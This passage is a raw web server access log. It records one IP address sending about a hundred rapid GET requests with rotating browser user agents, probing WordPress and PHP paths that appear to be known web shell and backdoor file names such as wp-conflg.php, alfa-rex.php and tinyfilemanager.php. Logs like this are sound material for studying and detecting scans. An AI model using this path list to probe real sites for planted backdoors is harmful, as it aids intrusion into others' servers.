Gecko/20100101 Firefox/73.0" 194.5.82.38 - - [03/Feb/2026:10:54:08 +0300] "GET /makeasmtp.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:08 +0300] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.82.38 - - [03/Feb/2026:10:54:09 +0300] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:54:09 +0300] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:09 +0300] "GET /login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.82.38 - - [03/Feb/2026:10:54:09 +0300] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:09 +0300] "GET /wp-admin/js/widgets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.82.38 - - [03/Feb/2026:10:54:10 +0300] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:10 +0300] "GET /wp-includes/fonts/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:10 +0300] "GET /wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.82.38 - - [03/Feb/2026:10:54:10 +0300] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.38 - - [03/Feb/2026:10:54:11 +0300] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.82.38 - - [03/Feb/2026:10:54:11 +0300] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:11 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:12 +0300] "GET /wander.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.82.38 - - [03/Feb/2026:10:54:12 +0300] "GET /wp-includes/php-compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:12 +0300] "GET /.well-known/pki-validation/xmrlpc.php?p= HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:13 +0300] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:13 +0300] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:13 +0300] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.82.38 - - [03/Feb/2026:10:54:13 +0300] "GET /wp-includes/Text/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:54:13 +0300] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.38 - - [03/Feb/2026:10:54:14 +0300] "GET /manager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:14 +0300] "GET /wp-admin/includes/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:14 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.82.38 - - [03/Feb/2026:10:54:14 +0300] "GET /users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:14 +0300] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:15 +0300] "GET /wp-content/plugins/erinyani/baxa1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:15 +0300] "GET /sim.php/wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.82.38 - - [03/Feb/2026:10:54:15 +0300] "GET /about/function.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.38 - - [03/Feb/2026:10:54:15 +0300] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:16 +0300] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.82.38 - - [03/Feb/2026:10:54:16 +0300] "GET /function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:16 +0300] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:16 +0300] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:54:17 +0300] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.82.38 - - [03/Feb/2026:10:54:17 +0300] "GET /wp-content/themes/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:17 +0300] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.38 - - [03/Feb/2026:10:54:17 +0300] "GET /wp-includes/makeasmtp.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:54:17 +0300] "GET /wp-includes/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:18 +0300] "GET /plugins/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:18 +0300] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:18 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:19 +0300] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.38 - - [03/Feb/2026:10:54:19 +0300] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:19 +0300] "GET /wp-admin/js/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:19 +0300] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:19 +0300] "GET /wp-content/plugins/Core-EconX/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:20 +0300] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:20 +0300] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:20 +0300] "GET /wp-includes/Requests/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:20 +0300] "GET /.well-known/accah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:21 +0300] "GET /admin-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:21 +0300] "GET /conf_upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.38 - - [03/Feb/2026:10:54:21 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:21 +0300] "GET /wp-admin/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.82.38 - - [03/Feb/2026:10:54:22 +0300] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:54:22 +0300] "GET /wp-includes/sodium_compat/src/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:22 +0300] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:54:22 +0300] "GET /.well-known/pki-validation/index.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:23 +0300] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:23 +0300] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:54:23 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.82.38 - - [03/Feb/2026:10:54:23 +0300] "GET /wp-includes/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:24 +0300] "GET /wp-admin/maint/flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.82.38 - - [03/Feb/2026:10:54:24 +0300] "GET /edit.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:24 +0300] "GET /wp-admin/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:24 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.82.38 - - [03/Feb/2026:10:54:25 +0300] "GET /files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.5.82.38 - - [03/Feb/2026:10:54:25 +0300] "GET /webadmin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:54:25 +0300] "GET /wp-content/plugins/wp-help/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.82.38 - - [03/Feb/2026:10:54:25 +0300] "GET /wp-admin/css/colors/coffee/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.5.82.38 - - [03/Feb/2026:10:54:25 +0300] "GET /wsa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:26 +0300] "GET /tinyfilemanager.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:26 +0300] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.38 - - [03/Feb/2026:10:54:26 +0300] "GET /wp-admin/css/colors/coffee/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:54:26 +0300] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.82.38 - - [03/Feb/2026:10:54:27 +0300] "GET /woh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:27 +0300] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.82.38 - - [03/Feb/2026:10:54:27 +0300] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:27 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.82.38 - - [03/Feb/2026:10:54:28 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.38 - - [03/Feb/2026:10:54:28 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:28 +0300] "GET /wp-includes/html-api/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.82.38 - - [03/Feb/2026:10:54:28 +0300] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:29 +0300] "GET /buy.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:29 +0300] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:29 +0300] "GET /readme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:29 +0300] "GET /sck.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.38 - - [03/Feb/2026:10:54:29 +0300] "GET /fm.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:30 +0300] "GET /wp-content/blue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:30 +0300] "GET /packed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:30 +0300] "GET /about.php?525 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:30 +0300] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:31 +0300] "GET /file/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:31 +0300] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:31 +0300] "GET /plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.5.82.38 - - [03/Feb/2026:10:54:32 +0300] "GET /wp-includes/blocks/table/int/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:32 +0300] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:54:32 +0300] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:54:32 +0300] "GET /chosen.php?upload HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.82.38 - - [03/Feb/2026:10:54:32 +0300] "GET /load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.82.38 - - [03/Feb/2026:10:54:33 +0300] "GET /wp-includes/css/dist/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.38 - - [03/Feb/2026:10:54:33 +0300] "GET /edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:33 +0300] "GET /wp-includes/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:33 +0300] "GET /saka.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.82.38 - - [03/Feb/2026:10:54:34 +0300] "GET /autoload_classmap.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.38 - - [03/Feb/2026:10:54:34 +0300] "GET /lock.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:34 +0300] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.82.38 - - [03/Feb/2026:10:54:34 +0300] "GET /.well-known/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.38 - - [03/Feb/2026:10:54:35 +0300] "GET /.well-known/pki-validation/about.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.82.38 - - [03/Feb/2026:10:54:35 +0300] "GET /wordpress/wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:54:35 +0300] "GET /templates/beez5/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.38 - - 